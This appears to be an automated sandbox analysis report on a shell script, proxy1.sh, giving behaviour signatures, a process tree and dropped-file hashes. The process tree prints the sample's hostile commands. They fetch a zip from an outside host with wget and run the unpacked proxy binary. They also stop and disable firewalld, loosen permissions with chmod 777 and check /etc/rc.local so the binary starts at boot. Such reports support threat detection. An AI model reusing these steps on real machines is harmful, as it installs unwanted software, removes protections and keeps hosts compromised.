Analysis

  • max time kernel
    14s
  • max time network
    8s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/08/2026, 15:07

General

  • Target
    proxy1.sh
  • Size 4KB
  • Sample260823-shavwsaf29
  • SHA256 6c326c7f76a1d64a9225bff3fcb95349ad0a1e7446cf77e2cf36e9604ed72e89
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Deletes log files 1 TTPs 1 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Write file to user bin folder 4 IoCs
  • Reads CPU attributes 1 TTPs 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

  • Software Deployment Tools 1 TTPs 3 IoCs

    Use software deployment tools to execute code.

Processes

  • /tmp/proxy1.sh
    /tmp/proxy1.sh
    1⤵
    • Modifies rc script
    • Writes file to tmp directory
    PID:651
    • /bin/grep
      grep -v grep
      2⤵
        PID:660
      • /bin/grep
        grep YouMiIpServer
        2⤵
        • System Network Configuration Discovery
        PID:659
      • /bin/ps
        ps -ef
        2⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:658
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
        • Reads runtime system information
        PID:662
      • /usr/bin/getconf
        getconf LONG_BIT
        2⤵
          PID:678
        • /usr/bin/wget
          wget http://down.lhip.cc/ProxyServerLinux32.zip
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:680
        • /bin/mkdir
          mkdir -p /root/ProxyServer/tmp
          2⤵
            PID:730
          • /bin/grep
            grep -E "centos|redhat" 2
            2⤵
              PID:732
            • /bin/cat
              cat /etc/os-release
              2⤵
                PID:731
              • /usr/bin/which
                which unzip
                2⤵
                • System Network Configuration Discovery
                PID:733
              • /usr/bin/apt-get
                apt-get install unzip
                2⤵
                • Deletes log files
                • System Network Configuration Discovery
                • Writes file to tmp directory
                • Software Deployment Tools
                PID:734
                • /usr/bin/dpkg
                  /usr/bin/dpkg --print-foreign-architectures
                  3⤵
                    PID:735
                  • /usr/bin/dpkg
                    /usr/bin/dpkg --print-foreign-architectures
                    3⤵
                      PID:751
                    • /usr/lib/apt/methods/http
                      /usr/lib/apt/methods/http
                      3⤵
                        PID:767
                      • /usr/lib/apt/methods/http
                        /usr/lib/apt/methods/http
                        3⤵
                          PID:768
                        • /bin/sh
                          /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
                          3⤵
                            PID:769
                            • /usr/sbin/dpkg-preconfigure
                              /usr/sbin/dpkg-preconfigure --apt
                              4⤵
                              • OS Credential Dumping
                              PID:770
                              • /usr/local/sbin/locale
                                locale charmap
                                5⤵
                                  PID:771
                                • /usr/local/bin/locale
                                  locale charmap
                                  5⤵
                                    PID:771
                                  • /usr/sbin/locale
                                    locale charmap
                                    5⤵
                                      PID:771
                                    • /usr/bin/locale
                                      locale charmap
                                      5⤵
                                        PID:771
                                      • /bin/sh
                                        sh -c "stty -a 2>/dev/null"
                                        5⤵
                                          PID:772
                                          • /bin/stty
                                            stty -a
                                            6⤵
                                              PID:773
                                          • /bin/sh
                                            sh -c "stty -a 2>/dev/null"
                                            5⤵
                                              PID:774
                                              • /bin/stty
                                                stty -a
                                                6⤵
                                                  PID:775
                                              • /bin/sh
                                                sh -c "stty -a 2>/dev/null"
                                                5⤵
                                                  PID:776
                                                  • /bin/stty
                                                    stty -a
                                                    6⤵
                                                      PID:777
                                                  • /bin/sh
                                                    sh -c "stty -a 2>/dev/null"
                                                    5⤵
                                                      PID:778
                                                      • /bin/stty
                                                        stty -a
                                                        6⤵
                                                          PID:779
                                                      • /bin/sh
                                                        sh -c "stty -a 2>/dev/null"
                                                        5⤵
                                                          PID:780
                                                          • /bin/stty
                                                            stty -a
                                                            6⤵
                                                              PID:781
                                                          • /bin/sh
                                                            sh -c "stty -a 2>/dev/null"
                                                            5⤵
                                                              PID:782
                                                              • /bin/stty
                                                                stty -a
                                                                6⤵
                                                                  PID:783
                                                          • /usr/bin/dpkg
                                                            /usr/bin/dpkg --assert-multi-arch
                                                            3⤵
                                                              PID:784
                                                            • /usr/bin/dpkg
                                                              /usr/bin/dpkg --status-fd 16 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                              3⤵
                                                              • Write file to user bin folder
                                                              PID:785
                                                              • /usr/local/sbin/dpkg-split
                                                                dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                4⤵
                                                                • System Network Configuration Discovery
                                                                PID:786
                                                              • /usr/local/bin/dpkg-split
                                                                dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                4⤵
                                                                • System Network Configuration Discovery
                                                                PID:786
                                                              • /usr/sbin/dpkg-split
                                                                dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                4⤵
                                                                • System Network Configuration Discovery
                                                                PID:786
                                                              • /usr/bin/dpkg-split
                                                                dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                4⤵
                                                                • System Network Configuration Discovery
                                                                • Software Deployment Tools
                                                                PID:786
                                                              • /usr/local/sbin/dpkg-deb
                                                                dpkg-deb --control /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
                                                                4⤵
                                                                  PID:787
                                                                • /usr/local/bin/dpkg-deb
                                                                  dpkg-deb --control /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
                                                                  4⤵
                                                                    PID:787
                                                                  • /usr/sbin/dpkg-deb
                                                                    dpkg-deb --control /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
                                                                    4⤵
                                                                      PID:787
                                                                    • /usr/bin/dpkg-deb
                                                                      dpkg-deb --control /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
                                                                      4⤵
                                                                        PID:787
                                                                        • /usr/local/sbin/tar
                                                                          tar -x -f - "--warning=no-timestamp"
                                                                          5⤵
                                                                            PID:790
                                                                          • /usr/local/bin/tar
                                                                            tar -x -f - "--warning=no-timestamp"
                                                                            5⤵
                                                                              PID:790
                                                                            • /usr/sbin/tar
                                                                              tar -x -f - "--warning=no-timestamp"
                                                                              5⤵
                                                                                PID:790
                                                                              • /usr/bin/tar
                                                                                tar -x -f - "--warning=no-timestamp"
                                                                                5⤵
                                                                                  PID:790
                                                                                • /sbin/tar
                                                                                  tar -x -f - "--warning=no-timestamp"
                                                                                  5⤵
                                                                                    PID:790
                                                                                  • /bin/tar
                                                                                    tar -x -f - "--warning=no-timestamp"
                                                                                    5⤵
                                                                                    • Reads runtime system information
                                                                                    PID:790
                                                                                • /usr/local/sbin/dpkg-deb
                                                                                  dpkg-deb --fsys-tarfile /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                                  4⤵
                                                                                    PID:791
                                                                                  • /usr/local/bin/dpkg-deb
                                                                                    dpkg-deb --fsys-tarfile /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                                    4⤵
                                                                                      PID:791
                                                                                    • /usr/sbin/dpkg-deb
                                                                                      dpkg-deb --fsys-tarfile /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                                      4⤵
                                                                                        PID:791
                                                                                      • /usr/bin/dpkg-deb
                                                                                        dpkg-deb --fsys-tarfile /var/cache/apt/archives/unzip_6.0-21+deb9u2_armhf.deb
                                                                                        4⤵
                                                                                          PID:791
                                                                                        • /usr/local/sbin/rm
                                                                                          rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                          4⤵
                                                                                            PID:794
                                                                                          • /usr/local/bin/rm
                                                                                            rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                            4⤵
                                                                                              PID:794
                                                                                            • /usr/sbin/rm
                                                                                              rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                              4⤵
                                                                                                PID:794
                                                                                              • /usr/bin/rm
                                                                                                rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                                4⤵
                                                                                                  PID:794
                                                                                                • /sbin/rm
                                                                                                  rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                                  4⤵
                                                                                                    PID:794
                                                                                                  • /bin/rm
                                                                                                    rm -rf -- /var/lib/dpkg/tmp.ci
                                                                                                    4⤵
                                                                                                      PID:794
                                                                                                  • /usr/bin/dpkg
                                                                                                    /usr/bin/dpkg --status-fd 16 --configure --pending
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Software Deployment Tools
                                                                                                    PID:795
                                                                                                    • /var/lib/dpkg/info/mime-support.postinst
                                                                                                      /var/lib/dpkg/info/mime-support.postinst triggered /usr/lib/mime/packages
                                                                                                      4⤵
                                                                                                        PID:796
                                                                                                        • /usr/sbin/update-mime
                                                                                                          /usr/sbin/update-mime --triggered
                                                                                                          5⤵
                                                                                                            PID:797
                                                                                                        • /var/lib/dpkg/info/unzip.postinst
                                                                                                          /var/lib/dpkg/info/unzip.postinst configure
                                                                                                          4⤵
                                                                                                          • System Network Configuration Discovery
                                                                                                          PID:798
                                                                                                          • /usr/bin/which
                                                                                                            which update-mime
                                                                                                            5⤵
                                                                                                              PID:799
                                                                                                            • /usr/sbin/update-mime
                                                                                                              update-mime
                                                                                                              5⤵
                                                                                                                PID:800
                                                                                                          • /usr/bin/dpkg
                                                                                                            /usr/bin/dpkg --print-foreign-architectures
                                                                                                            3⤵
                                                                                                              PID:801
                                                                                                            • /usr/bin/dpkg
                                                                                                              /usr/bin/dpkg --print-foreign-architectures
                                                                                                              3⤵
                                                                                                                PID:802
                                                                                                              • /usr/bin/dpkg
                                                                                                                /usr/bin/dpkg --print-foreign-architectures
                                                                                                                3⤵
                                                                                                                  PID:803
                                                                                                              • /bin/mv
                                                                                                                mv ProxyServerLinux32.zip /root/ProxyServer/tmp/
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:804
                                                                                                              • /usr/bin/unzip
                                                                                                                unzip "/root/ProxyServer/*.zip" -d /root/ProxyServer/tmp/
                                                                                                                2⤵
                                                                                                                  PID:805
                                                                                                                • /bin/mv
                                                                                                                  mv /root/ProxyServer/tmp/YouMiIpServer /root/ProxyServer/YouMiIpServer
                                                                                                                  2⤵
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:806
                                                                                                                • /bin/mv
                                                                                                                  mv /root/ProxyServer/tmp/YouMiIp.json /root/ProxyServer/YouMiIp.json
                                                                                                                  2⤵
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:807
                                                                                                                • /bin/sed
                                                                                                                  sed -i s/xydsoft//g /root/ProxyServer/YouMiIp.json
                                                                                                                  2⤵
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:808
                                                                                                                • /bin/mv
                                                                                                                  mv /root/ProxyServer/tmp/YouMiIpUser.json /root/ProxyServer/YouMiIpUser.json
                                                                                                                  2⤵
                                                                                                                  • Reads runtime system information
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:809
                                                                                                                • /bin/mv
                                                                                                                  mv /root/ProxyServer/tmp/YouMiIpAddrList.json /root/ProxyServer/YouMiIpAddrList.json
                                                                                                                  2⤵
                                                                                                                  • Reads runtime system information
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:810
                                                                                                                • /bin/rm
                                                                                                                  rm -rf /root/ProxyServer/tmp
                                                                                                                  2⤵
                                                                                                                    PID:811
                                                                                                                  • /bin/chmod
                                                                                                                    chmod 777 /root/ProxyServer/YouMiIpServer
                                                                                                                    2⤵
                                                                                                                    • File and Directory Permissions Modification
                                                                                                                    PID:812
                                                                                                                  • /bin/grep
                                                                                                                    grep YouMiIpServer /etc/rc.local
                                                                                                                    2⤵
                                                                                                                    • System Network Configuration Discovery
                                                                                                                    PID:813
                                                                                                                  • /bin/systemctl
                                                                                                                    systemctl stop firewalld
                                                                                                                    2⤵
                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:814
                                                                                                                  • /bin/systemctl
                                                                                                                    systemctl disable firewalld
                                                                                                                    2⤵
                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:815
                                                                                                                  • /bin/grep
                                                                                                                    grep YouMiIpServer /etc/rc.local
                                                                                                                    2⤵
                                                                                                                    • System Network Configuration Discovery
                                                                                                                    PID:816
                                                                                                                  • /bin/chmod
                                                                                                                    chmod 777 /etc/rc.local
                                                                                                                    2⤵
                                                                                                                    • File and Directory Permissions Modification
                                                                                                                    PID:817
                                                                                                                  • /bin/sleep
                                                                                                                    sleep 3
                                                                                                                    2⤵
                                                                                                                      PID:819
                                                                                                                    • /usr/bin/nohup
                                                                                                                      nohup /root/ProxyServer/YouMiIpServer
                                                                                                                      2⤵
                                                                                                                      • System Network Configuration Discovery
                                                                                                                      PID:820
                                                                                                                    • /root/ProxyServer/YouMiIpServer
                                                                                                                      /root/ProxyServer/YouMiIpServer
                                                                                                                      2⤵
                                                                                                                      • System Network Configuration Discovery
                                                                                                                      PID:820
                                                                                                                    • /usr/bin/tail
                                                                                                                      tail -n 20 /root/ProxyServer/YoumiIp.log
                                                                                                                      2⤵
                                                                                                                      • System Network Configuration Discovery
                                                                                                                      PID:821

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        rc.local

                                                                                                                        • Path /etc/rc.local
                                                                                                                        • Size 103B
                                                                                                                        • SHA256 567ca74f28e0dcfb7e16bb058edaf52f91bf01417db41638cbfcdf5789af6fe9
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        YoumiIp.log

                                                                                                                        • Path /root/ProxyServer/YoumiIp.log
                                                                                                                        • Size 90B
                                                                                                                        • SHA256 4b32638729c030f532c5ab047bdcae98e04124cae37fb897f2ff292dbfe9664c
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        1

                                                                                                                        • Path /tmp/1
                                                                                                                        • Size 35B
                                                                                                                        • SHA256 aa6b5fe49d504d4f60d8b12cbc73aea657557bcae1ddbe075e7dd1accec27d2c
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        ProxyServerLinux32.zip

                                                                                                                        • Path /tmp/ProxyServerLinux32.zip
                                                                                                                        • Size 5.9MB
                                                                                                                        • SHA256 e93ebd83c820b0b9b5ea704d75f8f2ab7158bc0f6e16a155930ddfe6d61024f9
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        unzip_6.0-21+deb9u2_armhf.deb

                                                                                                                        • Path /var/cache/apt/archives/partial/unzip_6.0-21+deb9u2_armhf.deb
                                                                                                                        • Size 155KB
                                                                                                                        • SHA256 e3d82a508ab5e00d6c5d2dc695e037cf0a95d898f6f1b78d067afa620c413d8b
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        status-new

                                                                                                                        • Path /var/lib/dpkg/status-new
                                                                                                                        • Size 402KB
                                                                                                                        • SHA256 2302c5e8db44679dd60772bea75d9f7dabb1c227af4d542ea94453d8dd191e7a
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        status-new

                                                                                                                        • Path /var/lib/dpkg/status-new
                                                                                                                        • Size 402KB
                                                                                                                        • SHA256 759c0d611482c83ea8363dde02556b189571f8dbbf3ce25dec42cdb6b3c3503f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        control

                                                                                                                        • Path /var/lib/dpkg/tmp.ci/control
                                                                                                                        • Size 596B
                                                                                                                        • SHA256 00d083dc8a2318044893eb4124682c316665dd06f896fa9a82e18d757c5c31d4
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        md5sums

                                                                                                                        • Path /var/lib/dpkg/tmp.ci/md5sums
                                                                                                                        • Size 963B
                                                                                                                        • SHA256 4aa4b8558120b11cf8cb12650cf7562366cda34c040374b8ab73633e4a53c981
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        postinst

                                                                                                                        • Path /var/lib/dpkg/tmp.ci/postinst
                                                                                                                        • Size 111B
                                                                                                                        • SHA256 6ecdb1415319c81c14a94114a279186a8054c221fe6c63b8a8a2ce38b8b39966
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        postrm

                                                                                                                        • Path /var/lib/dpkg/tmp.ci/postrm
                                                                                                                        • Size 78B
                                                                                                                        • SHA256 27793cfe5796bf9b694e2e2ce532d62917dcad70b64b8a160947f84fd279008a
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        tmp.i

                                                                                                                        • Path /var/lib/dpkg/updates/tmp.i
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 cf7d2275d2effcc231f426e078582b9665c4a2407e267c9e25546220308dd569
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        tmp.i

                                                                                                                        • Path /var/lib/dpkg/updates/tmp.i
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 b4acb6fa08044d13519067b6fcc48df650e14b4bdfa4c82a31e1973d47e2c629
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        tmp.i

                                                                                                                        • Path /var/lib/dpkg/updates/tmp.i
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 d95a4f69059fd1fee84c5e418501bfa754ef3dd0f74543fbc7fa8e25c921216f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        tmp.i

                                                                                                                        • Path /var/lib/dpkg/updates/tmp.i
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 cd95673bcf4ccd17a69cba06fc1a5b2b7a656d50349deead7b5a0adf9a5999ba
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        eipp.log.xz

                                                                                                                        • Path /var/log/apt/eipp.log.xz
                                                                                                                        • Size 18KB
                                                                                                                        • SHA256 8afa0bd67f96026c557df4d448010ffd2151cbf9b0c7099e785ab40c745dd4e4
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH